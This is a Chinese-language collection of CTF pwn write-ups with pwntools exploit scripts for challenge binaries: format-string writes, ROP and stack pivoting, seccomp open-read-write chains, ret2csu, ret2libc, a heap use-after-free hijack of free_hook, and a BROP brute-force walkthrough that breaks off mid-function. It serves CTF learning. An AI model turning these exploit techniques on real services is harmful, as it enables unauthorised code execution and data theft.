对位改改,就能打出个rbp地址出来
pd = b’%102c%8$lln%28$p’ + p64(key)
实际输入也就是:
b’%102c%8$lln%28$p\xa0\x10`\x00\x00\x00\x00\x00′
(还是很好一眼盯真的……吧)
你问我为什么是28?
格串自己测去吧()

(图里输入的30个%p,这里对位看到的rbp就是第28位)
好了,send之后完成rbp地址的接收,进入两次read的环节
好,第一次read写入的地址是buf
还是gdb测,这个感觉没必要多说了,看看exp里的测试注释应该就能理解个七七八八
然后,然后感觉就没多少好讲的了
第二次写入的位置是hdctf
也在bss段
那rop链路就异常明晰了
ret + rdi + /bin/sh的目标写入地址 + syscall
然后这个ljust填充一下,使其完成溢出
再接个rbp和leave就能实现我们的目标跳转
反正是第二次传入的时候写入/bin/sh到hdctf那去
写完就getshell
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./pwn")
# io = remote("node5.anna.nssctf.cn",21184)
elf = ELF("./pwn")
ret = 0x0000000000400581
pop_rdi = 0x0000000000400893
leave = 0x0000000000400758
key = 0x6010A0
syscall = 0x000000000400763
# 进两读阶段
io.recvuntil(b'you name?\n\n')
fmt = fmtstr_payload(6,{key:0x66})
pd = b'%102c%8$lln%28$p' + p64(key)
print(fmt) #b'%102c%8$llnaaaab\xa0\x10`\x00\x00\x00\x00\x00'
print(pd) #b'%102c%8$lln%28$p\xa0\x10`\x00\x00\x00\x00\x00'
# gdb
#gdb.attach(io)
io.send(pd)
#接收rbp地址
io.recvuntil(b'0x')
rbp = int(io.recv()[0:12],16)
rbp_a = hex(rbp)
success(rbp_a)
#找target_addr
# io.send(b'aaaa')
# [+] 0x7fff85963780
# pwndbg> search aaaa
# Searching for byte: b'aaaa'
# libc.so.6 0x7f303df89943 0x61616161 /* 'aaaa' */
# [stack] 0x7fff85963790 0x61616161 /* 'aaaa' */
# 0x7fff85963790 - 0x7fff85963780 = 0x10
target = rbp + 0x10
h_tar = hex(target)
success(h_tar)
offset = 0x30
hdctf = 0x0000000006010C0
rop = p64(ret) + p64(pop_rdi) + p64(hdctf) + p64(syscall)
pd2 = rop.ljust(offset, b'\x00')
pd2 += p64(target)
pd2 += p64(leave)
#gdb.attach(io)
io.send(pd2)
io.recvuntil(b"That's great.Do you like Minions?\n")
io.send(b'/bin/sh\x00')
io.interactive()
[HGAME 2023 week1]orw
┌──(kali㉿kali)-[~/桌面/NSS/[HGAME 2023 week1]orw]
└─$ seccomp-tools dump ./vuln
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0004
0002: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0004
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0004: 0x06 0x00 0x00 0x00000000 return KILL
大概也猜到怎么打了
orw构造rop链,看到标签是栈迁移
大概率应该有个数了
vuln里的read写不下
所以打个栈迁移
就这么个事
rop链往可以放的地方写,写个orw链子
然后,控制程序流迁移到rop链位置
结束
payload = b'/flag\00\x00\x00'
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi) + p64(0)
payload += p64(open_addr)
payload += p64(pop_rdi) + p64(3)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(read_addr)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(0x100)
payload += p64(write_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss) + p64(leave)
io.send(payload)
1. open(“/flag”, 0)
要设置的寄存器:
| 寄存器 | 值 | 解释 |
|---|---|---|
| rdi | 文件名地址 | open 的第 1 个参数 |
| rsi | 0 | open 的 flags 参数(只读) |
b"/flag\x00\x00\x00" # filename 字符串
pop_rdi; bss # rdi = &"/flag"
pop_rsi; 0 # rsi = 0 (O_RDONLY)
open_addr # 调用 open()
效果: open("/flag", 0) 系统将返回 fd=3(前 0,1,2 已占用)。
2. read(3, bss, 0x100)
要设置的寄存器:
| 寄存器 | 值 | 解释 |
|---|---|---|
| rdi | 3 | open 返回的文件描述符 |
| rsi | bss | 存 flag 的缓冲区 |
| rdx | 0x100 | read 读取的长度 |
pop_rdi; 3 # rdi = 3 (fd)
pop_rsi; bss # rsi = buffer
pop_rdx; 0x100 # rdx = length
read_addr # 调用 read()
效果: read(3, bss, 0x100) 将 flag 内容读到 bss 段。
3. write(1, bss, 0x100)
要设置的寄存器:
| 寄存器 | 值 | 解释 |
|---|---|---|
| rdi | 1 | 标准输出 |
| rsi | bss | flag 的内容 |
| rdx | 0x100 | 输出长度 |
pop_rdi; 1 # rdi = stdout
pop_rsi; bss # rsi = flag buffer
pop_rdx; 0x100 # rdx = length
write_addr # 调用 write()
效果: write(1, bss, 0x100) 将 flag 输出到终端。
4. leave;ret(栈迁移)
之后 padding 到 0x100,然后:
payload += p64(bss) + p64(leave)
含义:
| 寄存器/操作 | 解释 |
|---|---|
| rsp = bss | 让栈指向 ROP 链所在位置 |
| leave = mov rsp, rbp; pop rbp | 恢复栈帧,继续执行 ROP |
构造的寄存器值对应效果如下:
| 函数 | rdi | rsi | rdx | 作用 |
|---|---|---|---|---|
| open | 文件名地址 | 0 | — | 打开文件 |
| read | 3 | bss | 0x100 | 读取 flag |
| write | 1 | bss | 0x100 | 输出 flag |
exp:
from pwn import *
#context.log_level = 'debug'
io = process("./vuln")
# io = remote("node5.anna.nssctf.cn",24095)
elf = ELF("./vuln")
libc = ELF("./libc-2.31.so")
system = libc.symbols["system"]
ret = 0x000000000040101a
pop_rdi = 0x0000000000401393
leave = 0x00000000004012be
main = 0x0000000004012F0
# 泄漏libc基址
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pd1 = b'a'*(0x108) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
#gdb
#gdb.attach(io)
io.sendline(pd1)
io.recvuntil(b'Maybe you can learn something about seccomp, before you try to solve this task.\n')
leak = io.recv()[0:6]
leak = leak.ljust(8,b'\x00')
leak = u64(leak)
h_leak = hex(leak)
success(f'puts addr = {h_leak}')
libc_base = leak - libc.symbols['puts']
h_base = hex(libc_base)
success(f'libc base = {h_base}')
# [+] puts addr = 0x70ef67573420
# [+] libc base = 0x70ef674ef000
# 0x70ef674ef000 0x70ef67511000 r--p 22000 0 libc-2.31.so
# 测试结果一致
# 布置orw
bss = 0x000000000404300
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
pop_rdx = libc_base + 0x0000000000142c92
pop_rsi = libc_base + 0x000000000002601f
gdb.attach(io)
over = b'a'*(0x100) + p64(bss+0x100) + p64(0x4012CF)
io.sendline(over)
pause()
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(write_addr)
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss) + p64(leave)
io.send(payload)
io.interactive()
[HGAME 2022 week1]test your gdb
HGAME2022week1-test your gdb – OSLike’s Blog
from pwn import *
#io = process('./pwn')
io = remote("node5.anna.nssctf.cn",22319)
# gdb.attach(io, 'b *0x401378')
# pause()
backdoor = 0x401256
payload = p64(0xb0361e0e8294f147) + p64(0x8c09e0c34ed8a6a9)
io.recvuntil(b'word\n')
io.send(payload)
io.recv(0x18)
canary = u64(io.recv(8))
log.success("canary: " + (hex(canary)))
payload = b'a' * (0x20 - 0x08) + p64(canary) + p64(0) + p64(backdoor)
io.sendline(payload)
io.interactive()
[MoeCTF 2022]babyfmt
相当常规的格串劫持got表到后门函数
唯一抽象的点在于利用它输出的gift地址打不通
不理解为什么它gdb调试运行出来的后门函数地址都是对的
但是脚本运行收到的就是不对
奇了怪了
from pwn import *
context.log_level = 'debug'
io = process("./pwn")
elf = ELF("./pwn")
# io = remote("node5.anna.nssctf.cn",21351)
#io.recvuntil(b'gift:')
#backdoor = io.recv()[1:10]
backdoor = elf.symbols["backdoor"]
success(f"backdoor = :{backdoor}")
printf_got = elf.got["printf"]
pd = fmtstr_payload(11,{printf_got:backdoor})
io.send(pd)
io.interactive()
[HNCTF 2022 WEEK2]ret2csu
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = process("./ret2csu")
elf = ELF("./ret2csu")
# libc = ELF("./libc.so.6")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")#这里是为了测本地,不必在意这个libc文件
# io = remote("node5.anna.nssctf.cn",27035)
ret = 0x000000000040101a
pop_rdi = 0x00000000004012b3
csu_addr = 0x0000000004012A6
mov_csu = 0x000000000401290
return_addr = 0x4011DC #跳转回main函数为打ret2libc做准备
write_got = elf.got['write']
def csu(rsi,r15):
# write(fd,buf,n) = write(rdi,rsi,rdx)
pd = b'a'*(0x100 + 8)
pd += p64(csu_addr) + p64(3) #随便跟一个就好
pd += p64(0) #pop rbx ,rbx要设置成0 因为有个call r15+rbx*8的汇编
pd += p64(1)
pd += p64(1) #pop rdi
pd += p64(rsi) # pop rsi
pd += p64(8) # 设置为8是因为write要写8字节的地址出来
pd += p64(r15)
pd += p64(mov_csu)
pd += b'a'*56 + p64(0x4011DC) #加56个字符是用来跳过csu的6个pop和最开始的 add rsp 8,(6+1) * 8 = 56
# csu(1, write_got, 8, write_got, main_addr)
#def csu(r12, r13, r14, r15, last):
#def csu(rdi, rsi, rdx, r15, last)
gdb.attach(io)
io.sendline(pd)
csu(write_got,write_got)
io.recvuntil(b'Ok.\n')
write = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(write))
libc_base = write - libc.symbols['write']
print(hex(libc_base))
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload=b'a'*264+p64(pop_rdi)+p64(bin_sh_add)+p64(system_add)
io.recvuntil("Input:\n")
io.sendline(payload)
io.interactive()
[CISCN 2019华南]PWN4
被NSS骗金币了
好吧并不是
此题参考隔壁19年东南赛区的pwn2
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
#io = process("./pwn")
io = remote('node5.anna.nssctf.cn',22934)
elf = ELF("./pwn")
leave = 0x08048562
ret = 0x080483a6
system = 0x8048559
pd = b'a'*(0x28)
io.send(pd)
io.recvuntil(b'a'*(0x28))
leak_ebp = u32(io.recv(4))
p = hex(leak_ebp)
log.success(f'leak ebp = {p}')
padding = 0x10
s = 0x28
target = leak_ebp - s - padding
h_target = hex(target)
log.success(f'target = {h_target}')
pd2 = p32(0)
pd2 += p32(ret)
pd2 += p32(system)
pd2 += p32(target + 0x4*4)
pd2 += b'/bin/sh\x00'
pd2 = pd2.ljust(0x28,b'a')
pd2 += p32(target)
pd2 += p32(leave)
# gdb.attach(io)
io.send(pd2)
io.interactive()
能很快的判断出来是做过的题目,这很好
但是打的时候总是忘这忘那
还是熟练度问题
还是得练
恨
Polar
sandbox
$0提权
creeper
from pwn import *
io = remote("1.95.36.136",2095)
pd = b'a'*(0xf)
io.send(pd)
io.interactive()
简单溢出
from pwn import *
io = remote("1.95.36.136",2080)
offset = 0x30 + 8
sh = 0x000000000400596
ret = 0x0000000000400441
pd = b'a'*offset
pd += p64(ret)
pd += p64(sh)
io.sendline(pd)
io.interactive()
没人能拒绝猫猫
溢出覆盖内容,获取shell
from pwn import *
context.log_level = 'debug'
io = remote("1.95.36.136",2148)
# io = process("./pwn")
pd = b'a'*(32) +b'lovecat' + p64(0)
# gdb.attach(io)
io.sendline(pd)
io.interactive()
easypwn2
整数安全问题
就是要求传入负数但是不能有负号
常规
from pwn import *
context.log_level = 'debug'
io = process("./pwn")
#io = remote("1.95.36.136",2108)
pd = b'2147483648'
# gdb.attach(io)
io.sendline(pd)
io.interactive()
what’s your name
覆盖
from pwn import *
io = remote("1.95.36.136",2105)
# io = process("./pwn")
pd = b'aaaatznb'
io.send(pd)
io.interactive()
getshell
0xgame2025
好多,之后再来细分
# from pwn import *
# io = remote("nc1.ctfplus.cn",42686)
# ret = 0x000000000040101a
# backdoor = 0x4011F7
# payload = b'a'*(48+8) + p64(ret) + p64(backdoor)
# io.sendline(payload)
# io.interactive()
# from pwn import *
#
# context.log_level = 'debug'
# io = remote("nc1.ctfplus.cn", 33062)
#
# try:
# # 处理初始提示信息
# io.recvuntil(b"Kore wa shiren da!\n")
#
# while True:
# # 尝试接收题目行
# try:
# question = io.recvuntil(b"=", drop=True, timeout=1).decode().strip()
# except:
# # 无法接收新题目时,进入交互模式
# print("No more questions, entering interactive mode...")
# break
#
# # 将乘法符号x替换为*
# question = question.replace("x", "*")
# # 计算结果
# ans = int(eval(question))
# # 发送答案,使用bytes类型避免警告
# io.sendlineafter(b"?\n", str(ans).encode())
# # 接收"Good work!"的反馈
# io.recvuntil(b"Good work!\n")
#
# except Exception as e:
# print(f"Error occurred: {e}")
#
# # 无论正常结束还是异常,都进入交互模式
# io.interactive()
# from pwn import *
# context.log_level = 'debug'
# io = remote('nc1.ctfplus.cn', 27397)
#
# # 1. 确认所有关键地址(从你的ROPgadget和反编译结果验证,均正确)
# sh = 0x000000000040201e # "/bin/sh"字符串地址(必须存在,可通过objdump -s确认)
# call_system = 0x0000000000401195 # help函数中"call _system"的地址(直接复用现成的system调用)
# pop_rdi = 0x000000000040117e # 正确的"pop rdi; ret" gadget(ROPgadget明确显示存在)
#
# # 2. 构造ROP链(偏移正确:32字节buf + 8字节rbp = 40字节填充)
# payload = (
# b'a' * 40 # 填充缓冲区到rbp,再覆盖rbp
# + p64(pop_rdi) # 执行后,栈顶的值会放入rdi(x86_64第一个参数寄存器)
# + p64(sh) # 把"/bin/sh"地址压栈,供pop_rdi取出放入rdi
# + p64(call_system) # 调用system,此时rdi已指向"/bin/sh",直接获取shell
# )
#
# # 3. 按实际输出顺序接收(关键!先收help的输出,再收main的puts输出)
# io.recvuntil(b"Maybe you need this: sh\n") # 第一步实际收到的是help的echo输出
# io.sendline(payload)
#
#
#
#
# # 5. 进入交互模式获取shell
# io.interactive()
from pwn import *
# 连接远程目标(本地测试时替换为:p = process("./pwn2"))
p = remote("nc1.ctfplus.cn", 28889)
# 关键固定地址(已通过调试确认,无需修改)
padding = b'A' * 56 # 48字节buf + 8字节rbp,覆盖至返回地址
pop_rdi = p64(0x000000000040119e) # pop rdi; ret(传递system参数的核心gadget)
system_addr = p64(0x000000000040122B) # main中call system@plt的地址
cmd_addr = p64(0x0000000000401202) # 固定存储"$0"的地址(等价于/bin/sh)
# 构造ROP链:覆盖返回地址 → 传参 → 调用system
payload = padding + pop_rdi + cmd_addr + system_addr
# 发送payload(等待程序输出"Start your attack"后发送)
p.sendlineafter("Start your attack", payload)
# 交互获取shell(执行ls、cat flag等命令)
p.interactive()
lilpwn(我怎么自己都没记忆了……
Heap Pivoting
这个堆题目的核心是利用堆漏洞实现任意地址读写,最终通过ROP链读取flag。题目是静态编译的64位程序,开启了NX但未开启PIE,让我们能够利用固定地址进行攻击。
程序存在两个关键漏洞:
- UAF漏洞:释放堆块后指针未清零,可继续编辑
- 堆溢出:编辑功能未检查长度,可覆盖相邻堆块元数据
首先创建两个堆块,其中chunk1存放”flag”字符串备用。释放chunk0制造悬空指针,然后编辑它修改fd指针指向堆块列表(chunk_list)上方0x10字节处。这样再次分配chunk2时,就能控制堆块列表本身。
add(0)
add(1, "flag") # 存储"flag"字符串
free(0) # 制造UAF
# 修改fd指向堆块列表
chunk_list = 0x6CCD60
edit(0, p64(0) + p64(chunk_list - 0x10))
add(2) # 此时chunk2控制堆块列表
通过修改堆块列表,将free_hook的地址放入堆块列表中。连续分配多个chunk2,在每次分配时在堆块内容中构造fake chunk,使其fd指向free_hook地址。这样就能通过编辑chunk0来修改free_hook的值。
# 设置堆块列表指向关键全局变量
edit(0, p64(0x6cc968) + p64(0) + p64(0x6ca858) * 2)
# 多次分配构造fake chunk指向free_hook
free_hook = 0x6CC5E8
for i in range(4):
add(2, b'a' * 0xb8 + p64(free_hook) + p64(0x6cc640))
将free_hook覆盖为_dl_debug_printf函数地址。这个函数可以控制rdi打印任意地址内容。释放chunk1触发该函数调用,泄露栈地址。
# 覆盖free_hook为_dl_debug_printf
_dl_debug_printf = 0x474310
edit(0, p64(_dl_debug_printf))
free(1) # 触发函数调用,泄露栈地址
# 计算返回地址位置
stack = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
return_addr = stack - 0x180
通过堆溢出将主函数返回地址覆盖为ROP链地址。构造的ROP链依次执行:
- 打开”flag”文件(系统调用号2)
- 读取文件内容到栈缓冲区
- 将内容输出到标准输出
# 覆盖返回地址
edit(2, b'a' * 0xb8 + p64(return_addr))
# 构造ORW ROP链
pop_rdi = 0x0000000000401a16
pop_rsi = 0x0000000000401b37
pop_rdx = 0x0000000000443136
pop_rax = 0x000000000041fc84
syscall_ret = 0x4678E5
pd = p64(pop_rdi) + p64(return_addr + 0xc8) # "flag"字符串地址
pd += p64(pop_rsi) + p64(0) # 只读模式
pd += p64(pop_rax) + p64(2) # SYS_open
pd += p64(syscall_ret)
# 读取文件内容
pd += p64(pop_rdi) + p64(3) # 文件描述符
pd += p64(pop_rsi) + p64(return_addr + 0x500) # 缓冲区
pd += p64(pop_rdx) + p64(0x30) # 长度
pd += p64(pop_rax) + p64(0) # SYS_read
pd += p64(syscall_ret)
# 输出到标准输出
pd += p64(pop_rdi) + p64(1) # stdout
pd += p64(pop_rsi) + p64(return_addr + 0x500)
pd += p64(pop_rdx) + p64(0x30)
pd += p64(pop_rax) + p64(1) # SYS_write
pd += p64(syscall_ret)
pd += b'flag\x00\x00\x00\x00' # "flag"字符串
edit(0, pd) # 写入ROP链
最终exp:
from pwn import *
context(log_level='debug')
elf = ELF('./pwn')
context.binary = elf
libc = elf.libc
DEBUG_ARGV = """
b *0x400C66
b *0x41E985
b *0x400C66
set glibc 2.23
"""
def lg(s):
return info(f'\033[1;33m{f"{s}-->0x{eval(s):02x}"}\033[0m')
r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a, b: io.sendafter(a, b)
sl = lambda a: io.sendline(a)
sla = lambda a, b: io.sendlineafter(a, b)
io = remote("challenge.xinshi.fun",48639 )
def choice(idx):
sla(b'choice:', str(idx))
def add(idx, content=b'aaaa'):
choice(1)
sla(b'idx:', str(idx))
sa(b"say", content)
def free(idx):
choice(2)
sla(b'idx:', str(idx))
def edit(idx, content):
choice(3)
sla(b'idx:', str(idx))
sa(b'context: ', content)
def exit_():
choice(4)
add(0)
add(1, "flag")
free(0)
chunk_list = 0x6CCD60
edit(0, p64(0) + p64(chunk_list - 0x10))
add(2)
free_hook = 0x6CC5E8
edit(0, p64(0x6cc968) + p64(0) + p64(0x6ca858) * 2)
rdi = 0x6ccd68
for i in range(4):
add(2, b'a' * 0xb8 + p64(free_hook) + p64(0x6cc640))
fopen64 = 0x46AC50
fputs = 0x463340
fxprintf = 0x40FE20
vfxprintf = 0x45F940
_dl_debug_printf = 0x474310
mmap = 0x440710
edit(0, p64(_dl_debug_printf))
free(1)
stack = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
lg("stack")
return_addr = stack - 0x180
lg("return_addr")
edit(2, b'a' * 0xb8 + p64(return_addr))
pop_rdi = 0x0000000000401a16
pop_rsi = 0x0000000000401b37
pop_rdx = 0x0000000000443136
pop_rax = 0x000000000041fc84
pop_rbp = 0x00000000004004d1
ret = 0x00000000004002e1
syscall_ret = 0x4678E5
pd = p64(pop_rdi) + p64(return_addr + 0xc8)
pd += p64(pop_rsi) + p64(0)
pd += p64(pop_rax) + p64(2)
pd += p64(syscall_ret)
pd += p64(pop_rdi) + p64(3)
pd += p64(pop_rsi) + p64(return_addr + 0x500)
pd += p64(pop_rdx) + p64(0x30)
pd += p64(pop_rax) + p64(0)
pd += p64(syscall_ret)
pd += p64(pop_rdi) + p64(1)
pd += p64(pop_rsi) + p64(return_addr + 0x500)
pd += p64(pop_rdx) + p64(0x30)
pd += p64(pop_rax) + p64(1)
pd += p64(syscall_ret)
pd += b'flag\x00\x00\x00\x00'
edit(0, pd)
io.interactive()
签到
64位ret2libc板子题
ROPgadget找pop rdi ,ret
然后偏移0x70
题目已经给了libc文件
exp:
from pwn import *
io = remote('challenge.xinshi.fun',49363)
# io=process("./pwn")
elf = ELF('./pwn')
libc= ELF('./libc.so.6')
ret_add = 0x000000000040101a
pop_rdi = 0x0000000000401176
main_add = 0x401178
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset= 0x70
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'name?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'name?', payload2)
io.interactive()
Ret2libc’s Revenge
64位
ROPgadget找不到pop rdi
只能另找代替
stdout设置为无缓冲,没办法直接泄露地址,只能通过溢出多次循环,把缓冲区填满,再填一个lea rdi,s的地址,然后就是ret2libc
循环次数通过手搓
puts(“Ret2libc’s Revenge”);会写进18个字符加一个换行符,就是19个
程序本身会执行一次puts
(214+1)*19 = 4085
而缓冲区为0x1000 = 4096
所以循环次数是214
from pwn import *
elf = ELF('./src/attachment')
context.binary = elf
libc = ELF("./src/libc6_2.35-0ubuntu3.9_amd64.so")
io=remote("39.106.48.123",35843)
and_rsi_0 = 0x4010E4
pop_rbp = 0x000000000040117d
gadget = 0x4010EB # add rsi, [rbp+20h];ret
mov_rdi_rsi = 0x401180
payload = b'a'*(0x220-4)+p32(0x220+8-3)
payload += p64(0x40128D)
for i in range(214):
io.sendline(payload)
payload = b'a'*(0x220-4)+p32(0x220+8 - 3)
payload += p64(and_rsi_0)
payload += p64(pop_rbp) + p64(0x400600-0x20)
payload += p64(gadget)
payload += p64(mov_rdi_rsi)
payload += p64(elf.plt['puts'])
payload += p64(0x40128D)
io.sendline(payload)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.symbols[b"puts"]
libc_system = libc_base + libc.symbols[b'system']
ret = 0x4011FE
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base +next(libc.search(asm("pop rdi; ret")))
payload = b'a'*(0x220-4)+p32(0x220+8 - 3)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(libc_system)
io.sendlineafter("Ret",payload)
io.interactive()
2025COCTF新生赛WP
typora-root-url: images
feichai系列题目:
Pwn入门指北
emmmm,直接看指北就好了
from pwn import * # 导入 pwntools。
context(arch='amd64', os='linux', log_level='debug') # 一些基本的配置。
# elf = ELF('../ctf_file/test') # 加载 elf 文件。
# io = process(elf.path) # 运行 elf 文件。
io = remote("",) # 与在线环境交互。
io.recvuntil("> ") # 循环等待,直到接收到提示符。
io.sendline("No pwn/re, no life!") # 发送字符串。
io.interactive() # 进入交互模式。
终极黑客
考点只有一个命令
ls -a
可以看到flag前加了一个点,直接ls是看不到的
所以
cat .flag
就可以了
石头✊剪刀✌️布✋
可以看到程序加了一个随机数种子,但这并不是真正的随机,time(0)表示当前时间,返回时间戳,srand将其作为种子,以此使用rand()函数来生成随机数
所以,我们完全可以使用python的ctypes库来模拟这一行为,使得我们能推测所有的随机数

电脑猜拳逻辑

石头剪刀布胜利条件 需 return 1

exp:
from pwn import *
from ctypes import *
libcc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libcc.srand.argtypes = [c_uint]
libcc.srand(libcc.time(0))
io = remote("ctf.ctbu.edu.cn",33134)
for i in range(100):
number = libcc.rand()
if number % 3 == 0:
io.sendlineafter("Paper):","2")
if number % 3 == 1:
io.sendlineafter("Paper):","0")
if number % 3 == 2:
io.sendlineafter("Paper):","1")
io.interactive()
黑盒测试
考点是BROP,通过测偏移并把附件dump下来,进而利用漏洞getshell的一道经典例题
通过程序测试,可以知道,输入短字符串和长字符串得到的结果是不一样的,结合题目所给提示,可以看到是没有canary的
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
因此可以推断的是,有一个函数 (假设为main) 调用了一个函数 (假设为vuln) ,vuln函数中有输入函数,过长的字符串会溢出修改到返回地址进而无法正常输出 “Okay, bye!” ,可以推断出puts( “Okay, bye!”)是在main函数中的

为什么是puts函数? 因为编译器会自动优化输出函数
假设c语言程序中的输出函数如下
printf("abc\n");
puts("cde");
那么编译器会自动优化为,
puts("abc"); //puts自带一个换行符
puts("cde");
(当然也可能是write函数,write函数相对复杂一点,但还是可以做的,但是题目肯定是按简单的来对吧。。。)
而且也可以得到一个信息是,汇编代码大致如下
main:
...
call vuln
mov edi, offset aOkayBye ; "Okay, bye!"
call _puts
...
所以,我们编写一个函数用于测试输入地址与返回地址的距离,测试输入的字符串的长度得多长才会覆盖到返回地址
def get_buffer_size():
for i in range(1,300):
payload = b'a'*i
buffer_size = len(payload)
try:
io = get_io()
io.send(payload)
io.recvuntil(b'Okay, bye!')
io.close()
log.info("bad: %d" % buffer_size)
except :
io.close()
log.info("buffer_size: %d" % (buffer_size-1))
return buffer_size-1
得到偏移136

下一步,构造payload,测试main函数大概的地址
我们知道的是,如果将返回地址修改为main函数的话,那么,程序并不会异常退出,而是会返回main函数,相当于重新执行一次程序,所以,通过爆破的方法,从基址0x400000处开始爆破,构造payload,设置addr从0x400000开始递增
payload = b'a' * buffer_size + p64(addr)
但是,如果你自己去编译一个demo程序来辅助判断偏移的话,可以极大的缩短爆破时间
因此,我选取的地址是0x400500,还有一个小细节是,start函数与main函数相比,start的地址更低一点,如果通过程序返回的字符串 “Welcome to the BROP challenge!” 来判断程序是否成功返回main函数的话,偏差会比较大,因为main函数是start函数调用的,执行到start函数同样是会返回main函数的,这样的话,main函数的返回地址就不好确定,输出函数如 call puts 的地址也不好确定
因此我这里选则”Okay, bye!” 来判断,并设置一个超时来防止程序卡在read函数里,这样的话,就能更精准的得到main函数的大概地址,即前面提到的
main:
...
call vuln
mov edi, offset aOkayBye ; "Okay, bye!"
call _puts
...
所以这一步的爆破函数为
def get_stop_addr(buffer_size):
addr = 0x400500
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr)
try:
io = get_io()
io.sendline(payload)
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("stop address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))
得到地址0x4006c4

下一步,寻找gadgets,这一步涉及到ret2csu的知识点,大致如下
__libc_csu_init 函数存在这么一段汇编代码

什么意思呢,就6个pop呗,这里面有什么呢
pop r15 -----> "\x41\x5F"
而
pop rdi -----> "\x5F"
就是说,如果我们能测出这一段gadgets的地址,那么就相当于我们知道了pop_rdi的地址,从而可以设置puts的参数
如何测?相当于我们要让这一段gadgets可以正常执行,构造payload如下,如果程序成功执行了这一条payload,程序将输出 “Okay, bye!”
payload = b'a' * buffer_size + p64(addr) + p64(1)*6 + p64(stop_addr)
stop_addr地址就是上一个函数爆破的来的0x4006c4
addr从0x4006d0开始递增,为什么是0x4006d0?因为__libc_csu_init函数是在我们编写的函数后面的,也就是更高的地址,所以我们完全可以从0x4006c4的后面开始测试,所以就随便选了个0x4006d0

所以爆破gadgets的函数如下
def get_gadgets_addr(stop_addr, buffer_size):
addr = 0x4006d0
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr) + p64(1)*6
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("gadgets address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))
得到gadgets的地址为0x40075a

那么 pop rdi 的地址就等于 0x40075a + 9,pop rdi 的地址知道了接下来就是测试call puts的真正地址了
对于前面的汇编代码,我们更多的只是推测,要想得到call puts 的真正地址,还需要构造特定输出,我们知道,elf文件开头的四个字节必然是 “\x7fELF”

我们还知道可以调用到puts( “Okay, bye!”)的地址为0x4006c4,因此,我们可以从0x4006c4开始测试,构造payload
payload = b'a' * buffer_size + p64(gadget_addr + 9) + p64(0x400000) + p64(addr)
addr从0x4006c4开始递增,如果addr为call puts的地址,那么程序会输出”\x7fELF”
故爆破函数如下,这一步是最快的
def get_puts_call_addr(buffer_size, gadget_addr):
addr = 0x4006c4
while True:
addr += 1
payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(0x400000)
payload += p64(addr)
try:
p = get_io()
p.sendline(payload)
p.recvuntil(b'\x7fELF')
log.info("puts address: 0x%x" % addr)
p.close()
return addr
except:
p.close()
log.info("bad: 0x%x" % addr)
得到call puts的地址 0x4006c9

下一步,pop_rdi地址有了,puts地址也有了,接下来就是把程序一段段的打印出来,组合成一个二进制文件
我们选取的段是0x400000-0x401000,因为plt段和text段都是在这个段里的

dump_file函数如下
def dump_file(buffer_size, gadget_addr, puts_addr, start_addr, end_addr):
result = b""
while start_addr < end_addr:
